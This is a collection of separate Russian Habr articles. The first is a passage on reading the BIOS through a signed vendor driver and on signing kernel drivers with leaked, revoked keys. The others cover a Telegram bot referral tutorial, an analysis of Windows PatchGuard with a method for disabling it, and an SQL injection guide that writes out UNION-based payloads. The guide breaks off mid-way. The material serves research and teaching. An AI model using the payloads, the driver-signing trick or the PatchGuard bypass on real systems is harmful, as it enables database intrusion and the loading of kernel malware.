В качестве примера применения нашего "тулкита", попробуем набросать скрипт чтения BIOS. Он должен быть "замаплен" где-то в конце 32-битного адресного пространства, потому что компьютер начинает его исполнение с адреса 0xFFFFFFF0. Обычно в ПК стоит флеш-память объёмом 4-16 МБ, поэтому будем "сканировать" адресное пространство с адреса 0xFF000000, как только найдём что-нибудь непустое, будем считать, что тут начался BIOS:
```
from PyPmx import PmxInterface
pmx = PmxInterface()
for i in range(0xFF000000, 0x100000000, 0x10000):
data = pmx.MemRead(i, 0x20)
if data != b"\xFF"*0x20 and data != b"\x00"*0x20:
biosLen = 0x100000000-i
print("BIOS Found at 0x%x" % i)
f = open("dump.bin", "wb")
for j in range(0, biosLen, 0x1000):
data = pmx.MemRead(i + j, 0x1000)
f.write(data)
break
```
В результате получаем:
Вот так в 10 строчек мы считали BIOSНо подождите-ка, получилось всего 6 мегабайт, а должно быть 4 или 8 что-то не сходится. А вот так, у чипсетов Intel в адресное пространство мапится не вся флешка BIOS, а только один её регион. И чтобы считать всё остальное, нужно уже использовать SPI интерфейс.
Не беда, лезем в даташит, выясняем, что SPI интерфейс висит на PCI Express:
И для его использования, нужно взаимодействовать с регистрами в BAR0 MMIO по алгоритму:
1. Задать адрес для чтения в BIOS\_FADDR
2. Задать параметры команды в BIOS\_HSFTS\_CTL
3. Прочитать данные из BIOS\_FDATA
Пилим новый скрипт для чтения через чипсет:
```
from PyPmx import PmxInterface, PciAddress, U32
spi = PciAddress(0, 31, 5)
pmx = PmxInterface()
spiMmio = pmx.PciRead32(spi + 0x10) & 0xFFFFF000
f = open("dump.bin", "wb")
for i in range(0, 0x800000, 0x40):
# write BIOS_FADDR
pmx.MemWrite32(spiMmio + 0x08, i)
# write BIOS_HSFTS_CTL
# read 0x40 bytes start clear fcerr & fgo
cmd = (0 << 17) | (0x3F << 24) | (1 << 16) | 3
pmx.MemWrite32(spiMmio + 0x04, cmd)
# wait for read or error
curCmd = pmx.MemRead32(spiMmio + 0x04)
while curCmd & 3 == 0:
curCmd = pmx.MemRead32(spiMmio + 0x04)
# read BIOS_FDATA
data = pmx.MemRead(spiMmio + 0x10, 0x40, U32)
f.write(data)
```
Исполняем и вуаля - в 20 строчек кода считаны все 8 МБ флешки BIOS! (нюанс - в зависимости от настроек, регион ME может быть недоступен для чтения).
Точно так же можно делать всё, что заблагорассудится - делать снифер USB пакетов, посылать произвольные ATA команды диску, повышать частоту процессора и переключать видеокарты. И это всё - с обычными правами администратора:
Немного помучившись, получаем ответ от SSD на команду идентификации### А если написать свой драйвер?
Некоторые из вас наверняка уже подумали - зачем так изворачиваться, реверсить чужие драйвера, если можно написать свой? И я о таком думал. Более того, есть Open-Source проект [chipsec](https://github.com/chipsec/chipsec), в котором подобный драйвер уже [разработан](https://github.com/chipsec/chipsec/tree/master/drivers/win7).
Зайдя на страницу с кодом драйвера, вы сразу наткнетесь на предупреждение:
WARNING
```
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!
!! Chipsec should only be run on test systems!
!! It should not be installed/deployed on end-user systems!
!!
!! There are multiple reasons for that:
!!
!! 1. Chipsec kernel drivers provide raw access to HW resources to
!! user-mode applications (like access to physical memory). This would
!! allow malware to compromise the OS kernel.
!! 2. The driver is distributed as a source code. In order to load it
!! on OS which requires signed drivers (e.g. x64 Microsoft Windows 7
!! and higher), you'll need to enable TestSigning mode and self-sign
!! the driver binary. Enabling TestSigning (or equivalent) mode also
!! turns off important protection of OS kernel.
!!
!! 3. Due to the nature of access to HW resources, if any chipsec module
!! issues incorrect access to these HW resources, OS can crash/hang.
!!
!! If, for any reason, you want to production sign chipsec driver and
!! deploy chipsec on end-user systems,
!! DON'T!
!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
```
В этом предупреждении как раз и описываются все опасности, о которых я рассказывал в начале статьи - инструмент мощный и опасный, следует использовать только в Windows режиме Test Mode, и ни в коем случае не подписывать. Да, без специальной подписи на обычной системе просто так запустить драйвер не получится. Поэтому в примере выше мы и использовали заранее подписанный драйвер от ASRock.
Если кто сильно захочет подписать собственный драйвер - понадобится регистрировать собственную компанию и платить Microsoft. Насколько я нагуглил, физическим лицам такое развлечение недоступно.
Точнее я так думал, до [вот этой статьи](https://habr.com/ru/post/521962/), глаз зацепился за крайне интересный абзац:
> У меня под рукой нет Windows DDK, так что я взял 64-битный `vfd.sys`, скомпилированный неким critical0, и попросил [dartraiden](https://habr.com/ru/users/dartraiden/) подписать его «древне-китайским способом». Такой драйвер успешно загружается и работает, если `vfdwin` запущена с правами администратора
>
>
Драйвер из статьи действительно подписан, и действительно неким китайским ключом:
Как оказалось, сведения о подписи можно просто посмотреть в свойствах.. А я в HEX изучалНемного поиска этого имени в гугле, и я натыкаюсь на [вот эту ссылку](https://www.52pojie.cn/thread-877849-1-1.html), откуда узнаю, что:
* есть давно утёкшие и отозванные ключи для подписи драйверов
* если ими подписать драйвер - он прекрасно принимается системой
* малварщики по всему миру используют это для создания вирусни
Основная загвоздка - заставить майкрософтский SignTool подписать драйвер истёкшим ключом, но для этого даже нашёлся [проект на GitHub](https://github.com/hzqst/FuckCertVerifyTimeValidity). Более того, я нашёл даже [проект на GitHub](https://github.com/JemmyLoveJenny/HookSigntool/releases) для другой утилиты подписи драйверов от TrustAsia, с помощью которого можно подставить для подписи вообще любую дату.
Несколько минут мучений с гугл-переводчиком на телефоне, и мне удалось разобраться в этой утилите и подписать драйвер одним из утекших ключей (который довольно легко отыскался в китайском поисковике):
И в самом деле, китайская азбукаИ точно так же, как и AsrDrv101, драйвер удалось без проблем запустить!
А вот и наш драйвер запустилсяИз чего делаю вывод, что старая идея с написанием своего драйвера вполне себе годная. Как раз не хватает функции маппинга памяти. Но да ладно, оставлю как TODO.
Выводы?
-------
Как видите, имея права администратора, можно делать с компьютером практически что угодно. Будьте внимательны - установка утилит от производителя вашего железа может обернуться дырой в системе. Ну а желающие поэкспериментировать со своим ПК - добро пожаловать на низкий уровень! Наработки выложил на [GitHub](https://github.com/15432/PyPmx). Осторожно, бездумное использование чревато BSODами.
Небольшой UpdateВ Windows есть фича "Изоляция ядра", которая включает I/O MMU, защищает от DMA атак и так далее (кстати об этом - в следующих сериях)
Так вот, при включении этой опции, некоторые драйвера (в том числе RW Everything и китайско-подписанный chipsec\_hlpr) перестают запускаться:
Тем не менее, рассмотренный пример утилиты на базе AsrDrv работает:
 | https://habr.com/ru/post/527006/ | null | ru | null |
# Реферальная система в Telegram ботах
Всем привет! Наверняка вы видели в различных ботах реферальную ссылку типа https://t.me/<юзернейм\_бота>?start=<число>. Обычно в качестве числа указывается Telegram ID реферера. В этой статье я расскажу как обрабатывать такие ссылки в своем боте.
Для разработки ботов я использую Python библиотеку pytelegrambotapi.
Процесс создания бота через [@BotFather](/users/botfather) опущу, приступлю сразу к коду. Есть файл `config.py` с переменной TOKEN, в которой хранится токен бота. В файле `bot.py` будем "химичить". Напишем обработчик команды /start и выведем все, что хранится в объекте сообщения.
```
import telebot
import config
bot = telebot.TeleBot(config.TOKEN)
@bot.message_handler(commands=["start"])
def start_command_handler(msg):
print(msg)
if __name__ == '__main__':
bot.polling(none_stop=True)
```
Нас интересует строчка `'text': '/start'.` Попробуем теперь перейти по ссылке вида https://t.me/<юзернейм\_бота>?start=test и изменим 10-ю строчку на `print(msg.text)`
В консоли вывелось`/start test`. Делаем вывод, что в `msg.text` хранится необходимая нам информация из реферальной ссылки, которую необходимо обработать.
Приступим к обработке. Учитываем, что не всегда пользователь нажимает /start по реферальной ссылке, поэтому текста после `/start` может и не быть. Отличительным символом служит пробел (вспоминаем `/start test`). Значит будем проверять наличие ID реферера по нему.
```
@bot.message_handler(commands=["start"])
def start_command_handler(msg):
user_id = msg.from_user.id
referrer = None
if " " in msg.text:
referrer_candidate = msg.text.split()[1]
# Идем далее
```
Если пользователь перейдет по ссылке **https://t.me/<юзернейм\_бота>?start=test test2**, То test2 не попадет в msg.text, потому что там имеется пробел, который говорит, что test2 не является частью ссылки. Именно поэтому в `msg.text` находится только один символ пробела. А значит если он имеется, то и есть некоторая информация из реферальной ссылки. Поэтому в первой ветке мы создаем список (`msg.text.split()`), и берем его второй элемент (всем ведь известно, что нумерация списка идет с нуля, да?).
Хорошо, на этом этапе мы имеем текст из ссылки. Мы подразумеваем, что там число, но от пользователя можно поджидать чего угодно. Вдруг кому-то захочется "сломать" бота, указав в ссылке вместо ID реферера какой-то текст. Для этого проверим данные.
```
@bot.message_handler(commands=["start"])
def start_command_handler(msg):
user_id = msg.from_user.id
referrer = None
# Проверяем наличие хоть какой-то дополнительной информации из ссылки
if " " in msg.text:
referrer_candidate = msg.text.split()[1]
# Пробуем преобразовать строку в число
try:
referrer_candidate = int(referrer_candidate)
# Идем далее
except ValueError:
pass
```
Здесь, используя `try... except` мы преобразуем при помощи `int()` информацию в число. Если в переменной `referer` хранится не число, то `int()` вызовет ошибку `ValueError`
Теперь в referer записано число. Но тут появляется загвоздка: функция `int()` может перевести строку "-101" в число -101. То есть на данном этапе в referer может храниться отрицательное число. Почему это не важно, расскажу чуть позднее.
Пользователь может вставить в ссылку свой TG ID. Реферальная система подразумевает под собой некий бонус за переход, поэтому таким образом можно выдать самому себе бонус. Предусмотрим это. ID пользователя получаем, используя `user_id = msg.from_user.id`
```
@bot.message_handler(commands=["start"])
def start_command_handler(msg):
user_id = msg.from_user.id
referrer = None
# Проверяем наличие хоть какой-то дополнительной информации из ссылки
if " " in msg.text:
referrer_candidate = msg.text.split()[1]
# Пробуем преобразовать строку в число
try:
referrer_candidate = int(referrer_candidate)
# Проверяем на несоответствие TG ID пользователя TG ID реферера
if user_id != referrer_candidate:
# Идем дальше
pass
except ValueError:
pass
```
Допустим, что имеется функция get\_all\_users(), которая возвращает список всех пользователей бота. Делаем это для того, чтобы не назначить в качестве реферера пользователя, которого не существует.
```
@bot.message_handler(commands=["start"])
def start_command_handler(msg):
user_id = msg.from_user.id
referrer = None
# Проверяем наличие хоть какой-то дополнительной информации из ссылки
if " " in msg.text:
referrer_candidate = msg.text.split()[1]
# Пробуем преобразовать строку в число
try:
referrer_candidate = int(referrer_candidate)
# Проверяем на несоответствие TG ID пользователя TG ID реферера
# Также проверяем, есть ли такой реферер в базе данных
if user_id != referrer_candidate and referrer_candidate in get_all_users():
referer = referrer_candidate
except ValueError:
pass
```
Что необходимо делать в случае, если у пользователя и так уже есть реферер? Не будем ведь при каждом использовании реферальной ссылки выдавать бонус за приведенного реферала, это нас попросту разорит. Поэтому необходимо написать проверку. Напишем функцию `has_referrer()`, которая вернет True при наличии у пользователя реферера и False при его отсутствии. Логично ее написать в начале для оптимизации.
```
@bot.message_handler(commands=["start"])
def start_command_handler(msg):
user_id = msg.from_user.id
# Проверяем наличие закрепленного реферера за пользователем
if not has_referrer():
referrer = None
# Проверяем наличие хоть какой-то дополнительной информации из ссылки
if " " in msg.text:
referrer_candidate = msg.text.split()[1]
# Пробуем преобразовать строку в число
try:
referrer_candidate = int(referrer_candidate)
# Проверяем на несоответствие TG ID пользователя TG ID реферера
# Также проверяем, есть ли такой реферер в базе данных
if user_id != referrer_candidate and referrer_candidate in get_all_users():
referer = referrer_candidate
except ValueError:
pass
```
Надеюсь, что статья будет для вас полезна! | https://habr.com/ru/post/561112/ | null | ru | null |
# Windows 8.1 Kernel Patch Protection — PatchGuard
Периодически, как правило во вторую среду месяца, можно услышать истории о том, что Windows после очередного обновления перестает загружаться, показывая синий экран смерти. В большинстве случаев причиной такой ситуации оказывается либо руткит, либо специфичное системное ПО, фривольно обращающееся со внутренними структурами ОС. Винят, конечно, все равно обновление, ведь «до него все работало». С таким отношением не удивительно, что «Майкрософт» не поощряет использование всего, что не документировано. В какой-то момент, а именно с релизом Windows Server 2003, MS заняла более активную позицию в вопросе борьбы с чудо-поделками сторонних разработчиков. Тогда появился механизм защиты целостности ядра — kernel patch protection, более известный как PatchGuard.
С самого начала он не позиционировался как механизм защиты от руткитов, поскольку руткиты работают в ядре с теми же привилегиями, а следовательно, PatchGuard может быть обезврежен. Это скорее фильтр, отсекающий ленивых разработчиков руткитов.
#### Что охраняет PatchGuard
Самым популярным местом модифицирования ядра была таблица системных вызовов. При помощи модификации указателей на функции системных вызовов можно было легко их перехватывать, фильтровать, логировать и т. п. Причем этот патч был популярен как для руткитов, так и для антивирусного ПО. Другие интересные для патча объекты — таблицы дескрипторов (GDT, IDT). Через модифицирование глобальной таблицы дескрипторов можно было изменять атрибуты сегментов, создавая бекдоры для кода, а через таблицу дескрипторов прерываний можно было перехватывать… прерывания! Продвинутые же парни сплайсили непосредственно функции ядра.
Соответственно, первая версия PatchGuard защищала:
* таблицы системных вызовов (SST),
* глобальную таблицу дескрипторов (GDT),
* таблицу дескрипторов прерываний (IDT),
* образ ядра,
* ядерные стеки.
С развитием NT перерабатывалось множество компонентов ядра, в том числе и PatchGuard. На текущий момент уже сложно перечислить все, что защищается с его помощью:
* множество системных образов, не только образ ядра (nt, hal, WerLiveKernelApi, tm, clfs, pshed, kdcom, bootvid, ci, msrpc, ndis, ntfs, tcpip, fltmgr),
* критически важные структуры данных ядра (например, список процессов),
* набор MSR (например, model specific регистр IA32\_LSTAR),
* KdpStub — процедура отладчика, получающая управление после исключений.
#### Как охраняет PatchGuard
Стоит отметить, что PatchGuard активно использует новую реализацию обработки исключений, введенной в x64-версиях Windows. Используется он как для обфускации самого PatchGuard, так и для проверки целостности защищаемых образов.
В предыдущих версиях Windows обработчик исключений использовал структуры данных прямо на стеке, что даже позволяло обходить stack cookies при эксплуатации уязвимостей. Основное изменение заключается в хранении специальной таблицы внутри исполняемого образа с записями для каждой отдельной его функции.
```
typedef struct _IMAGE_RUNTIME_FUNCTION_ENTRY {
uint32_t BeginAddress; // Начало функции
uint32_t EndAddress; // Конец функции
union {
uint32_t UnwindInfoAddress; // Указатель на данные, используемые для раскрутки стека и
uint32_t UnwindData; // обработки исключений
};
} _IMAGE_RUNTIME_FUNCTION_ENTRY, *_PIMAGE_RUNTIME_FUNCTION_ENTRY;
```
За счет того, что адрес начала и конца любой функции можно получить прямо в рантайме, задача подсчета контрольной суммы отдельно взятой функции становится тривиальной. Для сравнения — в x86-версиях контроль целостности образов невозможен из-за того, что непонятно, как определить границы отдельной функции, а образ целиком (или даже отдельные его секции) накрывать контрольной суммой нельзя, поскольку в том же ядре присутствуют функции, которые патчатся самим ядром на лету.
При загрузке ОС PatchGuard создает от 1 до 4 контекстов — структур данных, в которых хранятся копии используемых им функций, контрольные суммы защищаемых структур и ключи шифрования самого контекста. Эти контексты хранятся в неподкачиваемом пуле в зашифрованном виде. О проверке контекстов поговорим чуть позже.
Инициализируются контексты PatchGuard в фазе 1 загрузки ОС. Функция, непосредственно занимающаяся созданием контекста, не имеет публичного символа (будем называть ее KiInitializePatchGuardContext), но найти ее можно внутри функции KiFilterFiberContext. Мы нашли два места, в котором возможно создание контекста PatchGuard:
```
... -(call)-> Phase1InitializationDiscard -(call)-> KeInitAmd64SpecificState -(exception)-> KiFilterFiberContext
```
```
... -(call)-> Phase1InitializationDiscard -(call)-> sub_14071815C -(call)-> ExpLicenseWatchInitWorker -(call)-> KiFilterFiberContext
```
Первый вариант всегда создает хотя бы один контекст, в то время как второй только в 4% случаев. Также первый вариант примечателен тем, что вызывает функцию KiFilterFiberContext неявно, а именно через «вброс» исключения.
**Псевдокод функции KeInitAmd64SpecificState**
```
__int64 KeInitAmd64SpecificState()
{
signed int v0; // edx@2
__int64 result; // rax@2
// В безопасном режиме PatchGuard не работает
if ( !InitSafeBootMode )
{
v0 = __ROR4__(KdPitchDebugger | KdDebuggerNotPresent, 1);
// При отсутствии отладчика деление вызовет исключение (переполнение при делении на -1),
// обработчиком которого как раз будет KiFilterFiberContext
result = (v0 / ((KdPitchDebugger | KdDebuggerNotPresent) != 0 ? -1 : 17));
}
return result;
}
```
Функция sub\_14071815C очевидно не имеет публичного символа, поскольку связана с проверкой лицензии ОС.
**Псевдокод функции ExpLicenseWatchInitWorker**
```
VOID ExpLicenseWatchInitWorker()
{
PVOID KiFilterParam;
NTSTATUS (*KiFilterFiberContext)(PVOID pFilterparam);
BOOLEAN ForgetAboutPG;
// KiServiceTablesLocked == KiFilterParam
KiFilterParam = KiInitialPcr.Prcb.HalReserved[1];
KiInitialPcr.Prcb.HalReserved[1] = NULL;
KiFilterFiberContext = KiInitialPcr.Prcb.HalReserved[0];
KiInitialPcr.Prcb.HalReserved[0] = NULL;
ForgetAboutPG = (InitSafeBootMode != 0) | (KUSER_SHARED_DATA.KdDebuggerEnabled >> 1);
// 96% случаев
if (__rdtsc() % 100 > 3)
ForgetAboutPG |= 1;
if (!ForgetAboutPG && KiFilterFiberContext(KiFilterParam) != 1)
KeBugCheckEx(SYSTEM_LICENSE_VIOLATION, 0x42424242, 0xC000026A, 0, 0);
}
```
Ниже приведен псевдокод функции KiFilterFiberContext, выбирающей способ проверки конкретного контекста и вызывающей функцию создания самого контекста.
**Псевдокод функции KiFilterFiberContext**
```
BOOLEAN KiFilterFiberContext(PVOID pKiFilterParam)
{
BOOLEAN Result = TRUE;
DWORD64 dwDpcIdx1 = __rdtsc() % 13; // Выбор DPC, в которой будет осуществляться проверка
DWORD64 dwRand2 = __rdtsc() % 10; // 50 на 50, что создастся второй контекст
DWORD64 dwMethod1 = __rdtsc() % 6; // Выбор метода запуска проверки
AntiDebug();
Result = KiInitializePatchGuardContext(dwDpcIdx, dwMethod1, (dwRand2 < 6) + 1, pKiFilterParam, TRUE);
if (dwRand2 < 6)
{
DWORD64 dwDpcIdx2 = __rdtsc() % 13;
DWORD64 dwMethod2 = __rdtsc() % 6;
do
{
dwMethod2 = __rdtsc() % 6;
}
while ((dwMethod1 != 0) && (dwMethod1 == dwMethod2));
Result = KiInitializePatchGuardContext(dwDpcIdx2, dwMethod2, 2, pKiFilterParam, FALSE);
}
AntiDebug();
return Result;
}
```
Функция, создающая контекст PatchGuard, обфусцирована настолько, что автоматические средства с ней не справляются, а исследователям внезапно становится неинтересно ее реверсить. В статике это полная каша, 10K+ строк декомпилированного «в лоб» кода (сама декомпиляция в IDA Pro занимает около 40 минут).
Все говорит об обширном использовании макросов:
* даже простейшая операция, такая как взятие случайного числа, размазана на 50+ строк ассемблерного кода;
* все циклы развернуты;
* вставлено много «мертвого» кода;
* используется косвенное обращение к переменным и внешним функциям.
Динамика тоже довольно непроста. Вот пара примеров из того, что рассыпано по коду.
```
cli
xor eax, eax
cmp byte ptr cs:KdDebuggerNotPresent, al
jnz short loc_140F3CFBD
jmp short loc_140F3CFBB
sti
```
**Что делает антиотладочный трюк 1?**При подключенном отладчике входит в бесконечный непрерываемый цикл.
```
cli
sidt fword ptr [rbp+320h]
lidt fword ptr [rbp+228h]
mov dr7, r13
lidt fword ptr [rbp+320h]
sti
```
**Что делает антиотладочный трюк 2?**Загружает временную невалидную таблицу дескрипторов прерываний. Если мы следили за доступом к отладочным регистрам, произойдет отладочное исключение, которое при данных условиях приведет к tripple fault с последующей перезагрузкой.
Рассмотрим параметры функции KiInitializePatchGuardContext.
1. Индекс DPC функции, которая будет вызвана для проверки контекста и может быть одной из следующих:
* KiTimerDispatch
* KiDpcDispatch
* ExpTimerDpcRoutine
* IopTimerDispatch
* IopIrpStackProfilerTimer
* PopThermalZoneDpc
* CmpEnableLazyFlushDpcRoutine
* CmpLazyFlushDpcRoutine
* KiBalanceSetManagerDeferredRoutine
* ExpTimeRefreshDpcRoutine
* ExpTimeZoneDpcRoutine
* ExpCenturyDpcRoutine
2. Метод планирования проверки:
1. KeSetCoalescableTimer
Создается объект таймера, который запустит проверку через 2м:05с ± 5 с.
2. Prcb.AcpiReserved
DPC сработает при определенном ACPI событии, например, при переходе в состояние низкого энергопотребления. Сработает не раньше чем через 2м:05с ± 5 с.
3. Prcb.HalReserved
DPC сработает при тике таймера HAL. Не раньше чем через 2м:05с ± 5 с.
4. PsCreateSystemThread
Создается отдельный системный поток, спящий 2м:05с ± 5 с. После этого вызывается проверка контекста.
5. KeInsertQueueApc
Создается regular kernel APC, срабатывающая сразу, но ждущая 2м:05с ± 5 с внутри work item.
6. KiBalanceSetManagerPeriodicDpc
DPC сработает по таймеру менеджера балансировки, не раньше чем через 2м:05с ± 5 с.
3. Назначение параметра до конца не ясно, известно лишь, что он влияет на количество проверок в контексте.
4. Параметр, специфичный для выбранного метода планирования.
5. Параметр, сообщающий о необходимости пересчета контрольных сумм для контекста.
DPC, которые вызывают проверку через исключение внутри себя, «смотрят» — является ли параметр DeferredContext указателем на неканоническую память. Если указатель в порядке, DPC выполняет свою законную работу. Иначе DPC вызывает цепочку рекурсивных функций, приводящих в конечном итоге к исключению (из-за разыменовывания неканонического адреса) и исполнению его обработчика.
**Последовательности вызовов рекурсивных функций в зависимости от DPC-функции** ExpTimerDpcRoutine -> KiCustomAccessRoutine0 -> KiCustomRecurseRoutine0… KiCustomRecurseRoutineN
IopTimerDispatch -> KiCustomAccessRoutine1 -> KiCustomRecurseRoutine1… KiCustomRecurseRoutineN
IopIrpStackProfilerTimer -> KiCustomAccessRoutine2 -> KiCustomRecurseRoutine2… KiCustomRecurseRoutineN
PopThermalZoneDpc -> KiCustomAccessRoutine3 -> KiCustomRecurseRoutine3… KiCustomRecurseRoutineN
CmpEnableLazyFlushDpcRoutine -> KiCustomAccessRoutine4 -> KiCustomRecurseRoutine4… KiCustomRecurseRoutineN
CmpLazyFlushDpcRoutine -> KiCustomAccessRoutine5 -> KiCustomRecurseRoutine5… KiCustomRecurseRoutineN
KiBalanceSetManagerDeferredRoutine -> KiCustomAccessRoutine6 -> KiCustomRecurseRoutine6… KiCustomRecurseRoutineN
ExpTimeRefreshDpcRoutine -> KiCustomAccessRoutine7 -> KiCustomRecurseRoutine7… KiCustomRecurseRoutineN
ExpTimeZoneDpcRoutine -> KiCustomAccessRoutine8 -> KiCustomRecurseRoutine8… KiCustomRecurseRoutineN
ExpCenturyDpcRoutine -> KiCustomAccessRoutine9 -> KiCustomRecurseRoutine9… KiCustomRecurseRoutineN
Проверка контекста состоит из двух этапов: сперва проверка структуры самого контекста, которая происходит на DPC-уровне, затем планируется work item, осуществляющий проверку защищаемых структур в системном потоке. Если проверка была удачной, старый контекст удаляется и вместо него создается новый, который будет запущен через случайный интервал времени. Если проверка не удалась, PatchGuard зачищает все свои следы, в том числе зануляя стек, и демонстрирует синий экран с кодом ошибки 0x109: CRITICAL\_STRUCTURE\_CORRUPTION.
Гифка с саморасшифровывающимся на первом этапе проверки контекстом:
#### Как победить
Существует несколько подходов к обезвреживанию PatchGuard:
* Такой патч образа ядра, чтобы PatchGuard вообще не инициализировался.
* Патч процедур проверки контекста.
* Хук KeBugCheck с восстановлением состояния системы.
* Отмена запланированных проверок — то, что мы реализовали.
Нам понравился последний способ, поскольку он является самым «чистым»: ничего не нужно хукать и пачтить, необходимо просто заменить значение некоторых переменных.
1. KeSetCoalescableTimer
Необходимо просканировать все таймеры, DPC для которых будет содержать DeferredContext с неканоническим адресом, и увеличить интервал ожидания для найденных до бесконечности.
2. Prcb.AcpiReserved
Просто занулить данное поле.
3. Prcb.HalReserved
Просто занулить данное поле.
4. PsCreateSystemThread
Просканировать спящие потоки и раскрутить их стек. Если он упирается в функцию из структуры KiServiceTablesLocked, это наш клиент. Выставляем время спячки, равное бесконечности.
5. KeInsertQueueApc
Просканировать все рабочие потоки с раскруткой стека. Если в стеке встречаются функции не из кодовой секции ядра, причем раскручивающиеся с использованием данных для функций FsRtlMdlReadCompleteDevEx и FsRtlUninitializeSmallMcb, это точно рабочий поток PatchGuard. Обезвреживаем так же, как в предыдущем варианте.
6. KiBalanceSetManagerPeriodicDpc
Восстановить «законную» процедуру — KiBalanceSetManagerDeferredRoutine.
Эти действия необходимо успеть совершить за 2 минуты по описанным выше причинам. Результат — проверка контекста никогда не будет запущена, а также не будет запланирована новая. PatchGuard не будет работать.
#### Windows 10
При осмотре KiFilterFiberContext из Windows 10 Technical Preview мы заметили небольшое изменение. Все старые методы планирования остались прежними. Однако появился новый, который пока что безусловно возвращает STATUS\_HV\_FEATURE\_UNAVAILABLE. Немного покопавшись, мы обнаружили функцию KiSwInterruptDispatch, внутри которой явно идет расшифровка и вызов проверки контекста. Очевидно, что будет добавлена возможность осуществлять проверку контекстов по запросу гипервизора Hyper-V. От гипервизора при определенных условиях будет приходить синтетическое прерывание, обработчик которого будет проверять целостность ядра.
#### История продолжается
В статье мы старались не указывать имена конкретных функций не потому, что нам жалко. Все просто: имена функций, используемых для расшифровки и проверки контекстов, намеренно изменены разработчиками PatchGuard и меняются в разных версиях ОС.
Вот пример несоотвтествия названия функции тому, чем она действительно занимается. Это та самая функция, копия которой используется для саморасшифровки контекста.
Одно хорошо — все эти функции находятся рядом, так что начать можно с функции KiFilterFiberContext. Очевидно, они все лежат в одном файле исходного кода. Однако проверка целостности ядра не ограничивается одним PatchGuard. В различные части ядра вставлены макросы, осуществляющие проверку тех или иных структур. Каждое такое место приходится искать вручную. Пример:
```
... --> Phase1InitializationDiscard --> CcInitializeCacheManager --> CcInitializeBcbProfiler
```
С вероятностью 50% данная функция осуществляет подсчет контрольной суммы для произвольной функции ядра и планирует ее проверку каждые 2 минуты в DPC с функцией CcBcbProfiler.
Так что удачи в поисках! PatchGuard интересен именно тем, что его весело реверсить ;)
Ссылки в помощь:
[Kernel patch protection: frequently asked questions](http://msdn.microsoft.com/en-us/library/windows/hardware/dn613955(v=vs.85).aspx)
[Bypassing PatchGuard on Windows x64](http://uninformed.org/index.cgi?v=3&a=3)
[PatchGuard Reloaded](http://uninformed.org/index.cgi?v=8&a=5)
[TSS blog: Patch-Guard 1](http://kitrap08.blogspot.ru/2012/07/patch-guard-1.html)
[The Windows 8.1 Kernel Patch Protection](http://vrt-blog.snort.org/2014/08/the-windows-81-kernel-patch-protection.html)
[Understanding and Defeating Windows 8.1 Kernel
Patch Protection](http://www.nosuchcon.org/talks/2014/D2_01_Andrea_Allievi_Win8.1_Patch_protections.pdf)
[Microsoft Windows 8.1 Kernel Patch Protection Analysis & Attack Vectors](http://blog.ptsecurity.com/2014/09/microsoft-windows-81-kernel-patch.html) | https://habr.com/ru/post/246841/ | null | ru | null |
# Чек-лист устранения SQL-инъекций
В прошлой статье мы уже рассматривали тему SQL-инъекций.
SQL-инъекции' union select null,null,null --Современные веб-приложения имеют сейчас довольно сложную структуру. Вместе с этим, для хранения инфо...[habr.com](https://habr.com/ru/post/542190/)Предлагаем снова остановиться на этой проблеме, так как этот тип атак наиболее распространенный и один из самых опасных. В данной статье мы расскажем о способах выявления SQLi и предложим подробную инструкцию по их ликвидации.
> SQL-инъекция - это попытка злоумышленника изменить запрос к базе данных для ее компрометации.
>
>
### Возможные SQLi:
* Соблюдение условия WHERE к истинному результату при любых значениях параметров.
* Объединение запросов через оператор UNION.
* Комментирование части запроса.
Для того, чтобы обнаружить SQL-инъекции, тестировщику необходимо понимать функциональные требования, триггеры, бизнес-логику, основной сценарий веб-приложения и т. д.
Как выявлять SQL-инъекции
-------------------------
> **Статья носит информационный характер. Не нарушайте законодательство.**
>
>
### Ручной поиск
#### Шаг 1.
Во все параметры подставляем спецсимволы (кавычки, двойные кавычки и т.д. ). В первую очередь проверяются параметры, принимающие в качестве аргументов пользовательский ввод. Если при передаче сервер вернул ошибку, то есть подозрение на наличие инъекции. Когда веб-приложение не отреагировало на спецсимволы, то возможны 2 причины:
* SQL-инъекции нет.
* Отключен вывод ошибок на веб-сервере.
Пример:
```
http://example.com/?id=1’
http://example.com/?id=1”
http://example.com/?id=1’)
```
и т. д.
#### Шаг 2.
Если инъекция обнаружена, то используем метод UNION-Based, который применяется, если SQL-инъекция возникает в запросе с использованием оператора SELECT. Благодаря такому методу можно объединить два запроса в один набор результатов. Особенность его заключается в том, что он будет работать только в случае, если количество столбцов, возвращаемых первым запросом, будет равно их количеству, возвращаемых во втором запросе. Для определения количества столбцов можно воспользоваться 3 методами:
1. Добавление столбца при каждой итерации проверки. Это не совсем удобно, так как их может быть бесконечное количество.
Пример:
```
?id=1' union select null --
?id=1' union select null,null --
?id=1' union select null,null,null --
```
и т.д.
Поиск количества столбцовВ этом случае применяем значение NULL, так как данные в каждом столбце должны быть совместимы между исходным и внедренным запросами. Поскольку NULL может быть преобразован во все часто применяемые типы данных, то его использование увеличивает вероятность успешного выполнения полезной нагрузки при правильном подсчете столбцов.
2. Использование оператора ORDER BY для определения количества столбцов. В данном случае нужно опираться на появление ошибки о несоответствии количества столбцов в запросе. Стоит начать с большого количества столбцов и уменьшать их вдвое при каждой итерации проверки. Если количество не будет соответствовать фактическому значению, то вернется ошибка:
```
?id=1' order by 20 --
?id=1' order by 10 --
?id=1' order by 5 --
```
и т.д.
Проверка с помощью order by
3. Применение оператора GROUP BY, который основывается на обратном методе проверки, в отличие от ORDER BY.
Пример:
```
?id=1' group by 5 --
?id=1' group by 10 --
?id=1' group by 20 --
```
и т.д.
Теперь, когда мы знаем, сколько столбцов имеет текущая таблица, используем UNION SELECT, чтобы увидеть, какой столбец уязвим. Уязвимым столбцом будет являться тот, данные которого отображаются на странице.
Пример:
```
?id=1’ union select 1,2,3,4 --
```
Когда уязвимый столбец найден, вместо его названия можем указать полезные команды для сбора информации о СУБД и получения данных из интересующих таблиц:
?id=1’ union select 1,null,version(),null - версия СУБД ?id=1’ union select 1,null,database(),null - текущая база данных ?id=1’ union select 1,null,@@port,null - порт, используемый СУБД?id=1’ union select 1,null,user(),null - пользователь СУБД?id=1’ union select 1,null,table\_name,null from information\_schema.tables – список таблиц с применением information\_schema.#### Шаг 3.
